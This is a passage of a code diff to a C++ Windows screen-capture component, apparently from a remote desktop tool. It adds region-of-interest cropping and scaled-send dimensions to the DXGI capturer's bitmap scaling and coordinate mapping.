pt.y = (LONG)(pt.y / m_hZoom);
}
// 1'. full → send 缩放(位图下采样传输时)
int sendWidth = m_nScaleSendWidth ? m_nScaleSendWidth : (int)m_BitmapInfor_Send->bmiHeader.biWidth;
int sendHeight = m_nScaleSendHeight ? m_nScaleSendHeight : (int)m_BitmapInfor_Send->bmiHeader.biHeight;
if (sendWidth != (int)m_ulFullWidth || sendHeight != (int)m_ulFullHeight) {
pt.x = (LONG)((double)pt.x * sendWidth / m_ulFullWidth + 0.5);
pt.y = (LONG)((double)pt.y * sendHeight / m_ulFullHeight + 0.5);
}
// 0'. scale 坐标系 → ROI 坐标系
if (m_nScaleSendWidth) {
pt.x -= m_ROI.left;
pt.y -= m_ROI.top;
}
}
// 获取位图结构信息
virtual const LPBITMAPINFO& GetBIData() const
{
@@ -1106,11 +1185,25 @@ public: // 纯虚接口
// 获取下一帧屏幕
virtual LPBYTE ScanNextScreen() = 0;
// ROI crop从 srcscale 后缓冲)裁剪到 targetsrc==target 时 in-place 安全
LPBYTE applyROICrop(LPBYTE target, LPBYTE src, int scaledW, int scaledH)
{
int rw = m_BitmapInfor_Send->bmiHeader.biWidth, rh = m_BitmapInfor_Send->bmiHeader.biHeight;
for (int row = 0; row < rh; row++)
memmove(target + row * rw * 4, src + ((scaledH - m_ROI.bottom + row) * scaledW + m_ROI.left) * 4, rw * 4);
return target;
}
virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap)
{
if (m_ulFullWidth == m_BitmapInfor_Send->bmiHeader.biWidth && m_ulFullHeight == m_BitmapInfor_Send->bmiHeader.biHeight)
return bitmap;
return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth,
m_BitmapInfor_Send->bmiHeader.biHeight, m_nInstructionSet);
int scaledW = m_nScaleSendWidth ? m_nScaleSendWidth : (int)m_BitmapInfor_Send->bmiHeader.biWidth;
int scaledH = m_nScaleSendHeight ? m_nScaleSendHeight : (int)m_BitmapInfor_Send->bmiHeader.biHeight;
LPBYTE src = bitmap;
if ((ULONG)scaledW != m_ulFullWidth || (ULONG)scaledH != m_ulFullHeight)
src = ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, scaledW, scaledH, m_nInstructionSet);
if (m_nScaleSendWidth) {
src = applyROICrop(target, src, scaledW, scaledH);
}
return src;
}
};

View File

@@ -25,10 +25,12 @@ private:
BYTE* m_NextBuffer = nullptr;
public:
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE) : ScreenCapture(32, algo, all)
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE, int level = LEVEL_H264_SOFT,
RECT rc = {0}, BOOL switchScreen = TRUE)
: ScreenCapture(32, algo, all, level, rc, switchScreen)
{
m_GOP = gop;
InitDXGI(all);
InitDXGI(all, switchScreen);
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
}
@@ -46,7 +48,7 @@ public:
return TRUE;
}
void InitDXGI(BOOL all)
void InitDXGI(BOOL all, BOOL switchScreen)
{
m_iScreenX = 0;
m_iScreenY = 0;
@@ -71,7 +73,7 @@ public:
// 4. 获取 DXGI 输出(屏幕)
static UINT screen = 0;
HRESULT r = dxgiAdapter->EnumOutputs(screen++, &dxgiOutput);
HRESULT r = dxgiAdapter->EnumOutputs(switchScreen ? screen++ : screen, &dxgiOutput);
if (r == DXGI_ERROR_NOT_FOUND && all) {
screen = 0;
idx ++;
@@ -147,6 +149,15 @@ public:
m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
m_BmpZoomFirst = nullptr;
// ROI
int w = m_ROI.right - m_ROI.left, h = m_ROI.bottom - m_ROI.top;
if (w > 0 && h > 0) {
m_nScaleSendWidth = m_BitmapInfor_Send->bmiHeader.biWidth;
m_nScaleSendHeight = m_BitmapInfor_Send->bmiHeader.biHeight;
m_BitmapInfor_Send->bmiHeader.biWidth = w;
m_BitmapInfor_Send->bmiHeader.biHeight = h;
m_BitmapInfor_Send->bmiHeader.biSizeImage = w * h * 4;
}
break;
} while (true);
@@ -172,12 +183,15 @@ public:
virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap) override
{
if (m_ulFullWidth == m_BitmapInfor_Send->bmiHeader.biWidth && m_ulFullHeight == m_BitmapInfor_Send->bmiHeader.biHeight) {
memcpy(target, bitmap, m_BitmapInfor_Send->bmiHeader.biSizeImage);
return bitmap;
}
return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth,
m_BitmapInfor_Send->bmiHeader.biHeight, m_nInstructionSet);
int scaledW = m_nScaleSendWidth ? m_nScaleSendWidth : (int)m_BitmapInfor_Send->bmiHeader.biWidth;
int scaledH = m_nScaleSendHeight ? m_nScaleSendHeight : (int)m_BitmapInfor_Send->bmiHeader.biHeight;
if ((ULONG)scaledW == m_ulFullWidth && (ULONG)scaledH == m_ulFullHeight)
memcpy(target, bitmap, scaledW * scaledH * 4);
else
ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, scaledW, scaledH, m_nInstructionSet);
if (m_nScaleSendWidth)
applyROICrop(target, target, scaledW, scaledH);
return target;
}
LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override

Some files were not shown because too many files have changed in this diff Show More